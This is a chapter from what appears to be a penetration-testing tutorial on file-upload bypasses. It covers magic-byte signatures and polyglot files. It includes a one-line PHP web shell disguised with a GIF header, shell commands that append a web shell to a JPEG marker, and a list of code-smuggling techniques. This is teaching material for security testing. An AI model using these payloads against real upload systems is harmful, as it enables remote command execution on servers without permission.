Chapter 2
Polyglots and magic bytes
Crafting files that satisfy multiple format parsers simultaneously.
Once an app stops trusting filenames alone, it usually checks the first few bytes of the upload instead. Those opening bytes are called magic bytes. A polyglot is one file that speaks two formats at once. It passes the image check at the door, then triggers another parser downstream.
Magic byte signatures
Section titled “Magic byte signatures”Most file formats announce themselves in the opening bytes, which libraries like libmagic and PHP finfo read before accepting the file.
| Format | Magic byte signature | Technical description |
|---|---|---|
| GIF | GIF89a or GIF87a |
Graphics interchange format header |
| JPEG | \xFF\xD8\xFF |
Start of image marker |
%PDF-1.4 |
Portable document format header | |
| ZIP | PK\x03\x04 |
Zip archive local file header |
| XBM | #define width 1 |
X bitmap source header |
| SVG | <svg |
Scalable vector graphics root element |
Office documents such as .docx and .xlsx are zip archives.
They also start with the PK\x03\x04 sequence.
The canonical PHP and GIF polyglot
Section titled “The canonical PHP and GIF polyglot”The simplest polyglot combines a GIF header with executable PHP code.
GIF89a<?php system($_GET['c']); ?>This text begins with a valid GIF signature. Naive image parsers accept the file as a graphics asset. If an application routes this file to a PHP interpreter, the PHP engine executes the payload. The web shell uses the image header as a disguise.
Polyglot construction techniques
Section titled “Polyglot construction techniques”Different file formats provide distinct opportunities for data smuggling.
- JPEG with ZIP: Append zip archives to the end of JPEG images.
- ZIP with DOCX: Embed custom paths inside valid Office archive structures.
- SVG with XML: Use XML document features inside SVG graphic files.
- PDF with PHP: Insert executable PHP code into PDF stream objects.
- GIF with JavaScript: Serve GIF files that double as valid JavaScript programs.
- HTML in JPEG: Exploit missing MIME headers so browsers treat JPEG data as HTML.
Creating polyglot files
Section titled “Creating polyglot files”You can build basic polyglot files on the command line.
- Write the JPEG start marker into a new file.
- Append your web shell code directly after the marker.
printf '\xFF\xD8\xFF\xDB' > image.jpgcat shell.php >> image.jpgFor strict image parsers, use image creation libraries to place code inside EXIF comment fields. This approach preserves valid image dimensions and checksums.
A file has no single absolute format. A file has only the format that the active parser perceives. A successful polyglot exploits differences between the validation parser and the execution engine.
Next, see how SVG turns this same trick into stored script execution in Chapter 3.
File UploadFor authorized testing only.